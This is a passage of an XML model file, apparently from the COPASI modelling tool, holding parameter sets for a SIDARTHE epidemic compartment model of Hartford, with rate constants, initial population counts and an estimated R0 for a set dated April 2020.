<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.89999478913050812" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.15925106075975967" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="39.876256239376268" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.00085934240728269002" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.14332512484728965" type="ModelValue" simulationType="assignment"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="1.7451417824741431e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="1.7053749814295295e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="1.8149594811920993e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="1.6865704312652271e-09" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.012625219896763582" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.0082437219218950055" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.00042630720435361677" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.0082437219218950055" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.0082437219218950055" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.032185700109889796" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.063200513623301813" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.063200513623301813" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.0010449623285421657" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.06304561520000615" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T],ParameterGroup=Parameters,Parameter=k1" value="0.061577041593043877" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
</ModelParameterGroup>
</ModelParameterSet>
<ModelParameterSet key="ModelParameterSet_28" name="Model3 - 4/11">
<MiriamAnnotation>
<rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about="#ModelParameterSet_28">
<dcterms:created>
<rdf:Description>
<dcterms:W3CDTF>2020-04-12T00:45:37Z</dcterms:W3CDTF>
</rdf:Description>
</dcterms:created>
</rdf:Description>
</rdf:RDF>
</MiriamAnnotation>
<ModelParameterGroup cn="String=Initial Time" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3" value="0" type="Model" simulationType="time"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment]" value="1" type="Compartment" simulationType="fixed"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Species Values" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I]" value="1.0000000000000002" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[S]" value="3572662" type="Species" simulationType="reactions">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population],Reference=InitialValue>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[I],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T],Reference=InitialConcentration>-<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E],Reference=InitialConcentration>
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[D]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[A]" value="1.0000000000000002" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[R]" value="1" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[T]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[E]" value="0" type="Species" simulationType="reactions"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Compartments[compartment],Vector=Metabolites[H]" value="0" type="Species" simulationType="reactions"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Initial Global Quantities" type="Group">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha]" value="0.99068428487184268" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta]" value="0.19813685697436856" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.2
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma]" value="0.099068428487184279" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.1
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta]" value="0.04953421424359214" type="ModelValue" simulationType="fixed">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha],Reference=InitialValue>*0.05
</InitialExpression>
</ModelParameter>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon]" value="0" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta]" value="0.19607843137254921" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[eta]" value="0.19607843137254921" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta]" value="0.0099999999999997782" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa]" value="0.326943138291512" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda]" value="0.32694313847401563" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu]" value="0.15151515151515221" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu]" value="0.15151515151515221" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi]" value="0.32588011530344235" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho]" value="0.32694313847401563" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[sigma]" value="0.12499999999999978" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau]" value="0.030867442370008671" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[DRT]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDARTHE]" value="3.0000000000000004" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[IDART]" value="3.0000000000000004" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Recovered]" value="0" type="ModelValue" simulationType="ode"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Diagnosed Cumulative infected]" value="1" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r1]" value="0.52302156984656478" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r2]" value="0.52302156984656478" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r3]" value="0.488458289806664" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r4]" value="0.47739526681859457" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[r5]" value="0.15586744237000844" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Perceived CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[CFR]" value="0" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[R0]" value="1.9709878367412437" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop]" value="2.7729560002738649e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Population]" value="3572665" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop]" value="2.7729560002738648e-07" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop]" value="5.5459120005477298e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop]" value="1.3864780001369324e-08" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[scale]" value="0.78222655465241187" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_epsilon]" value="0.29999999999999999" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_theta]" value="0.0054878294478546081" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_mu]" value="0.059999999999999998" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_nu]" value="0.059999999999999998" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day8x]" value="0.99999999999999978" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[day15x]" value="0.59965310095891589" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_lambda]" value="0.22155041982369297" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_kappa]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_sigma]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_xi]" value="0.11077520991184649" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[f_rho]" value="0.22155041982369297" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeak]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tpeaktime]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New cases]" value="1.1392859709327994" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[New diagnosed]" value="0.0099999999999997799" type="ModelValue" simulationType="assignment"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tnonew]" value="-1" type="ModelValue" simulationType="fixed"/>
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[Tot_reduction]" value="0.59965310095891577" type="ModelValue" simulationType="assignment"/>
</ModelParameterGroup>
<ModelParameterGroup cn="String=Kinetic Parameters" type="Group">
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_I],ParameterGroup=Parameters,Parameter=k1" value="2.7729560002738648e-07" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[alpha_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_D],ParameterGroup=Parameters,Parameter=k1" value="5.5459120005477298e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[beta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_A],ParameterGroup=Parameters,Parameter=k1" value="2.7729560002738649e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[gamma_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[contagion_R],ParameterGroup=Parameters,Parameter=k1" value="1.3864780001369324e-08" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[delta_pop],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_I],ParameterGroup=Parameters,Parameter=k1" value="0" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[epsilon],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_I],ParameterGroup=Parameters,Parameter=k1" value="0.19607843137254921" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[zeta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[symptoms_D],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[diagnosis_A],ParameterGroup=Parameters,Parameter=k1" value="0.0099999999999997782" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[theta],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_A],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[mu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[critical_R],ParameterGroup=Parameters,Parameter=k1" value="0.15151515151515221" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[nu],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[death],ParameterGroup=Parameters,Parameter=k1" value="0.030867442370008671" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[tau],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_I],ParameterGroup=Parameters,Parameter=k1" value="0.32694313847401563" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[lambda],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_D],ParameterGroup=Parameters,Parameter=k1" value="0.32694313847401563" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[rho],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_A],ParameterGroup=Parameters,Parameter=k1" value="0.326943138291512" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[kappa],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R]" type="Reaction">
<ModelParameter cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_R],ParameterGroup=Parameters,Parameter=k1" value="0.32588011530344235" type="ReactionParameter" simulationType="assignment">
<InitialExpression>
<CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Values[xi],Reference=InitialValue>
</InitialExpression>
</ModelParameter>
</ModelParameterGroup>
<ModelParameterGroup cn="CN=Root,Model=SIDARTHE Hartford Model 3,Vector=Reactions[healing_T]" type="Reaction">
